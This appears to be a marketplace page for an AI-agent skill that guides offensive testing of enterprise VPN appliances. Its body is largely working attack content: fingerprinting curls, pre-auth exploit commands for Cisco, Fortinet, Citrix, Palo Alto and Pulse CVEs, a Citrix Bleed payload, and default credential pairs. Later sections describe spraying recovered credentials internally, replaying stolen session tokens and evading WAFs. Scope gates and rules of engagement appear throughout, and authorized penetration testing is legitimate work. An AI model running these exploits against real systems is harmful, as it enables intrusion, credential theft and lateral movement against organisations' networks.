# Hunt Vpn

> Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

- Skill: `encod3d-sec/hunt-vpn-2` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx get-skill add encod3d-sec/hunt-vpn-2`
- Raw SKILL.md: https://api.skillmd.com/api/skills/encod3d-sec/hunt-vpn-2/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: Encod3d-Sec (https://skillmd.com/u/encod3d-sec)
- Updated: 2026-11-16
- Page: https://skillmd.com/skills/encod3d-sec/hunt-vpn-2

---


# Hunt: Enterprise VPN Appliances

> **LINK-ROT WARNING (2026-10-11):** the 17 inline `https://target/...` command URLs
> below (vendor fingerprint curls + CVE-matrix exploit paths) are templates harvested at
> a point in time. Appliance vendors move portal paths, parameters, and PoC variants
> between firmware releases, so these rot silently. Treat every command as a STARTING
> shape: re-verify the path against the live appliance (fingerprint first), the wiki
> pages linked in the skill, and current nuclei templates before trusting a negative
> result. Do not hand-patch URLs here per-vendor - re-harvest the matrix from the wiki
> instead.

> Current emphasis (update on wiki harvest): version-fingerprinted pre-auth
> CVEs (token leak / file read) over banner-only CVE matching - models over-
> index on over-represented old methods; the newest harvested technique leads
> the checklist until superseded.

**Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

## Paths (binding - define once at the top of the run notes)

    # seat side (wsl) - engagement tree is DOUBLE-NESTED in VMshare:
    ENG_DIR=/mnt/c/Users/Lenovo/Desktop/VMshare/<eng>/<eng>
    RUN=$ENG_DIR/hunt/vpn/<host>
    # VM side (WHERE nuclei + curl run, same tree through the share):
    ENG_DIR=/mnt/VMshare/<eng>/<eng>
    RUN=$ENG_DIR/hunt/vpn/<host>

Corpus and probes live in the VMshare tree; the VM runs tools against
the /mnt/VMshare spelling as user tz; the seat reads the same bytes at
the /mnt/c/Users/Lenovo/Desktop/VMshare spelling. The repo tree targets/
<eng> is admin/ingest only - probe artifacts NEVER land there.

## Transport

Every VM-native command block ships through ONE documented transport:

    wsl.exe -d kali-linux -u root bash -c "cd /mnt/c/Users/Lenovo/Documents/ObisidianVaults/ZTorch/ZTorch && bash scripts/vm-ssh.sh '<command>'"

- vm-ssh lands as user tz (NOT root); one argument per call; quotes
  ship as base64 (`echo <b64> | base64 -d | bash`).
- Target-facing curls MUST use /opt/scope-shim/bin/curl by absolute
  path (substitute in every command block); out-of-scope dies rc 126
  (never work around); UNKNOWN = ADVISORY, self-deny.
- nuclei lives at /home/tz/go/bin/nuclei (v2.9.15; go 1.24.4 - pin
  template syntax accordingly). Long template runs execute detached
  (vm-bg.sh); the bridge drops at ~2min.
- RoE: keep probes low-volume by design; never convert default-cred
  or CVE checks into a spray/fuzz loop (no_dos, no_bruteforce).

## Entry gate

All four must pass; each is falsifiable:

1. Active engagement exists (repo tree targets/<eng>/active.md) and
   the appliance host is on targets/<eng>/scope.md in-scope. Scope-
   guard is the deny. (targets/ is the repo admin tree; $ENG_DIR
   holds corpus and run artifacts only - see Paths.)
2. hunt-core loaded (skills/exploit/hunt/hunt-core/SKILL.md).
3. Producer verified - at least ONE of:
   (a) $ENG_DIR/state.md asset table has the host with a VPN-flavored
   row (443/8443/10443 portal, VPN cookie names in notes); \
   (b) a recon lane captured a VPN login surface (+CSCOE+, SVPNCOOKIE,
   NSC_AAA, DSAuthSession, BIGipServer); \
   (c) kickoff seeded $RUN/raw/vendor-map.md.
   None = dispatch the surface lane first.
4. Toolchain preflight (fails LOUD; install-on-demand per the
   operator rule):

       # install-on-demand: try nuclei before the fatal loop
       [ -x /home/tz/go/bin/nuclei ] || {            command -v go >/dev/null              && HOME=/home/tz go install github.com/projectdiscovery/nuclei/v2/cmd/nuclei@v2.9.15 2>/dev/null; }
       for t in /usr/bin/jq /usr/bin/python3                  /opt/scope-shim/bin/curl /home/tz/go/bin/nuclei; do
         [ -x "$t" ] || { echo "MISSING TOOL: $t"; exit 1; }
       done

## Checklist (mandatory)

Copy checklist.md (this skill's dir) to
`$ENG_DIR/hunt/vpn/<host>/vpn-checklist.md` at run start. Unchecked at
stop = UNCHECKED lane, re-run from the first unchecked step. The
SKILL.md text and the checklist header agree byte-for-byte on that
copy target.

## Nudge

Review-skill re-injection text (pinned; NOTE: completion-gate emits
its own generic nudge - both mean: resume at the first unchecked box):

    Your work was just reviewed by the review skill and it was found
    that you either missed a step of analysis, or didn't generate an
    artifact of sufficient proof. Look at the markdown based checklist
    and the output for each step, find what you missed, and complete
    that step.

## Wiki

Hub: [[network-moc]] - Primary page: [[network-service-attacks]] - CVE arsenal: `wiki/cheatsheets/cve-arsenal.md` - Default creds: `wiki/cheatsheets/default-credentials.md`
Anchors: [[network-discovery]], [[cve-arsenal]], [[default-credentials]]
**REFS:** [[network-service-attacks]], [[cve-arsenal]], [[default-credentials]]

mcp__wiki-search__query (lex) "SSL VPN Fortinet Citrix Cisco Palo Alto Pulse Ivanti CVE default credentials pre-auth exploit" via wiki-search MCP - ONLY when you have a concrete hint the map above
doesn't cover (a specific sink/version/CVE, an observed escape); not a blanket first step.

## When to Use
Recon surfaces: `+CSCOE+` paths (Cisco ASA), `Set-Cookie: SVPNCOOKIE=` (Fortinet), `NSC_AAA=` (Citrix), `DSAuthSession=` (Pulse), `BIGipServer*` (F5), ports 443/8443/10443 with VPN login pages.

## Attack surface (ranked)

**APPROACH:** Work top-down - vendor fingerprint (cookie/header/login path), version fingerprint, a short default-cred check, then the pre-auth CVE for the fingerprinted vendor+version; exploit the first rung that lands, do not jump to CVEs before fingerprinting.
**AVOID:** A version banner matching a CVE, a portal 200, a nuclei `detected` hit, or a large Citrix-Bleed response without token material is NOT confirmation - you need the primitive exercised (real file contents, a replayable session token, admin login, or observed RCE output).

Work top-down; exploit the first rung that lands, do not jump to CVEs before fingerprinting.
1. **Vendor fingerprint** (cookie / header / login-page path) - which appliance, then which page below.
2. **Version fingerprint** (JS file paths, meta tags, build strings) - narrows the CVE matrix to what actually applies to this build.
3. **Default credentials** (short known-list, non-disruptive) - cheapest full-admin win, try before CVEs.
4. **Pre-auth CVE** for the fingerprinted vendor + version - file read, session-token leak, or RCE.

## Vendor Fingerprinting
```bash
# Cisco ASA / AnyConnect
/opt/scope-shim/bin/curl -skI 'https://target/+CSCOE+/logon.html' | head -5

# Fortinet FortiGate
/opt/scope-shim/bin/curl -skI 'https://target/remote/login' | grep -i 'set-cookie\|server'

# Citrix NetScaler / Gateway
/opt/scope-shim/bin/curl -skI 'https://target/' | grep -i 'nsc_aaa\|netscaler'

# Palo Alto GlobalProtect
/opt/scope-shim/bin/curl -skI 'https://target/global-protect/login.esp' | head -5

# Pulse / Ivanti Connect Secure
/opt/scope-shim/bin/curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -5

# F5 BIG-IP
/opt/scope-shim/bin/curl -skI 'https://target/my.policy' | grep -i 'bigip\|mrhsession'
```

## CVE Matrix - Pre-Auth Exploits

### Cisco ASA
| CVE | Type | Command |
|-----|------|---------|
| CVE-2020-3452 | Path traversal / file read | `/opt/scope-shim/bin/curl -sk --path-as-is 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua'` |
| CVE-2018-0296 | Path traversal / session info | `/opt/scope-shim/bin/curl -sk --path-as-is 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua'` |

### Fortinet FortiGate
| CVE | Type | Command |
|-----|------|---------|
| CVE-2018-13379 | Path traversal / credential file | `/opt/scope-shim/bin/curl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'` |
| CVE-2024-21762 | Pre-auth RCE | `nuclei -u https://target -t cves/2024/CVE-2024-21762.yaml` |
| CVE-2023-27997 | Pre-auth RCE (XORtigate) | `nuclei -u https://target -t cves/2023/CVE-2023-27997.yaml` |

### Citrix NetScaler / ADC
| CVE | Type | Command |
|-----|------|---------|
| CVE-2023-4966 (Citrix Bleed) | Memory leak / session token | See payload below |
| CVE-2023-3519 | Pre-auth RCE | `nuclei -u https://target -t cves/2023/CVE-2023-3519.yaml` |
| CVE-2019-19781 | Path traversal / RCE | `/opt/scope-shim/bin/curl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf'` |

**Citrix Bleed (CVE-2023-4966):**
```bash
HOST=$(python3 -c "print('A' * 24812)")
/opt/scope-shim/bin/curl -sk -X POST -H "Host: $HOST" \
  "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt
wc -c response.txt   # a large response only FLAGS it; grep the body for real session-token material before claiming Bleed
```

### Palo Alto GlobalProtect
| CVE | Type | Command |
|-----|------|---------|
| CVE-2024-3400 | Pre-auth RCE (OS command injection) | `nuclei -u https://target -t cves/2024/CVE-2024-3400.yaml` |

### Pulse / Ivanti Connect Secure
| CVE | Type | Command |
|-----|------|---------|
| CVE-2019-11510 | Pre-auth file read | `/opt/scope-shim/bin/curl -sk 'https://target/dana-na/../dana/html5acc/guacamole/../../../tmp/system.log?/dana/html5acc/guacamole/'` |
| CVE-2024-21887 | RCE (auth required) | `nuclei -u https://target -t cves/2024/CVE-2024-21887.yaml` |

## Default Credential Check

Short known-list per vendor, non-disruptive: try each pair once after fingerprinting, before CVE attempts. This is a bounded default-cred check, not a spray - do NOT loop it into a wordlist (hunt-core enumeration limits; broad spraying is lockout-bounded and a last resort). Cross-check [[default-credentials]] first.

```bash
# Cisco ASA: admin / cisco, admin / admin
# Fortinet: admin / (blank), admin / admin
# Citrix: nsroot / nsroot
# Palo Alto: admin / admin
# F5: admin / admin, admin / default
```

## Methodology
1. Fingerprint vendor from cookie names, headers, login page content
2. Version fingerprint where possible (JS file paths, meta tags)
3. Try default credentials (non-disruptive)
4. Run nuclei templates for detected vendor + version
5. Test pre-auth path traversal CVEs with `--path-as-is` flag
6. For confirmed vulnerabilities: escalate to credential/session extraction
7. Document with version banner + curl command output as PoC
8. Distill a confirmed, reusable VPN exploit/CVE via the hunt-core distillation step, `python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/network/vpn-appliances.md`.

## Chaining

A VPN foothold is network access, not the endgame. On confirmed creds / session / RCE:
- Authenticated session or admin -> pivot into the internal network the appliance fronts: [[pivoting-tunneling]].
- Recovered credentials (config dumps, FortiOS `sslvpn_websession`, IKE PSK) are frequently reused - spray against internal SSH/RDP/SMB and hand off to `hunt-ad`.
- Citrix Bleed / session-token leaks -> replay the token to ride an authenticated session, then continue as that user.

## Evasion

- `--path-as-is` (already in the traversal commands) stops curl collapsing `../` - mandatory for the path-traversal CVEs.
- URL-encode the traversal and marker segments when a WAF blocks the literal: `%2e%2e%2f`, `%2bCSCOE%2b` for Cisco's `+CSCOE+`, `%00`/`%0a` where the parser tolerates it.
- Hit the non-standard portal ports (8443/10443) - a WAF fronting 443 may not sit in front of them.
- Keep default-cred and CVE probes low-volume by design; do not convert either into a spray/fuzz loop.

## N/A escapes

- "N/A: vendor not in matrix" (fingerprint matched none of the five -
  record the observed cookie/header set)
- "N/A: version not CVE-pinned" (build string narrows to nothing)
An N/A tick is a claim with a reason, never a silent pass. Identical
strings in SKILL.md and checklist.md.

## Bitter-pill variant

Freehand run: skip checklist + numbered steps, one freehand pass over
the vendor map, output ONLY $RUN/analysis/bitter-pill.md (tried/found/
dismissed, every claim carries evidence). The primitive-exercised gate
survives freehand. Declare with a _requests.md row (lane =
hunt-vpn-bitterpill).

### Depth walk (mandatory)

Walk EVERY applicable row of the payload arsenal page cited above.
Record each row in `$RUN/coverage-depth.md` as a table
`| row | state | evidence |` where state is `probed`, `blocked`, or
`N/A`, and evidence is a probe-pair path or a Deadends.md line. A bare
`probed` with no evidence reference fails the completion gate
(NEEDS-REVIEW). N/A rows cite why (surface shape forbids it).

Blocked implies research: before any Deadend is claimable on a blocked
row, (a) walk the arsenal page's bypass-ladder rows for that control
class, and (b) run one wiki query AND one `mcp__wigolo__search` for the
specific tech-plus-control bypass. Results, or a genuine null, land in
`coverage-depth.md`. "No research tried" is not a claimable state.

## Exit artifact + handoff

ONE exit artifact set: $RUN/candidates.jsonl + candidates.md +
$ENG_DIR/hunt-vpn-<host>.md (pointer with VPN-HUNT-DONE + counts).
Consumer (triage) finds at $RUN: raw/vendor-map.md, probes/*.jsonl,
probes/raw/, candidates.{jsonl,md}. Findings leave ONLY through G1.
Distill: `python3 scripts/wiki-stage.py --kind technique --slug <slug>
--target-page techniques/network/vpn-appliances.md`.

## Confirmation gate

**NOT confirmation:** a version banner or build string that matches a CVE (that is a fingerprint, not exploitation); the VPN login page loading or a `200` on the portal; a nuclei `info`/`detected` hit with no primitive exercised; the Citrix Bleed response merely being large (`>10KB`) without session-token material actually present in the body; a default-cred login form that renders (vs a session that authenticates); a file-read path that returns `200` with an empty, shell, or error body.

**IS confirmation:** a pre-auth file read that returns the actual sensitive contents, structure matching the target file (FortiOS `sslvpn_websession` credential blob, Ivanti `system.log`, Citrix `smb.conf`); Citrix Bleed returning real session-token material you can replay into an authenticated session; default creds that land you on an authenticated admin / management page; a pre-auth RCE whose command output you observe inline or out-of-band - reproduced in a clean session per hunt-core.

A version match alone is a lead to exploit, never a finding. Demonstrate the primitive or it stays out of the FIND queue.

## Validation

- Proof = pre-auth exploit giving shell or file read with `hostname` + `id` output,
  or an auth bypass minting a USABLE session (replay it). CVE claims must match the
  EXACT build string from the admin/config surface, not the marketing version.
- Negative control: the same request against a patched build fails (when a second
  instance/version exists).

## False Positives

- Version guessed from banners behind auth (assumed reachability).
- MFA enforced but username enumeration possible: information, not entry.
- Default creds tested but a forced-reset intercepts first use.
- Vendor PSIRT 'affected' with a config mitigation present (admin bound to localhost,
  feature disabled).

## Cross-routing

- Load hunt-ad once internal: enterprise VPNs are commonly domain-joined.
- Load hunt-ics when the VPN fronts an OT segment (stop conditions change).
- Load hunt-auth for cred-based entry and MFA interactions.
- Not this skill: the portal's own webapp bugs (route by class).

## Severity

Rated on the primitive demonstrated, not the version detected.

| Outcome | Typical |
|---|---|
| Pre-auth RCE / OS command injection | critical |
| Pre-auth file read of credential or session material (config, `sslvpn_websession`, Citrix Bleed token) | critical |
| Auth bypass to admin (e.g. CVE-2022-40684) | critical |
| Default credentials authenticate to admin / management | high (critical if internet-facing admin) |
| Version confirmed vulnerable, exploit not demonstrated | not a FIND - lead only (see confirmation gate) |

## Stop conditions

Terminal states complete (probed | N/A with reason | deadend row
written), nothing written into skill dirs (skills/exploit/hunt/
hunt-vpn/ stays untouched), no unchecked boxes above REVIEW. hunt-core
stop conditions fire unchanged (a confirmed pre-auth primitive = report at the primitive, never pivot past the portal on an unconfirmed guess).

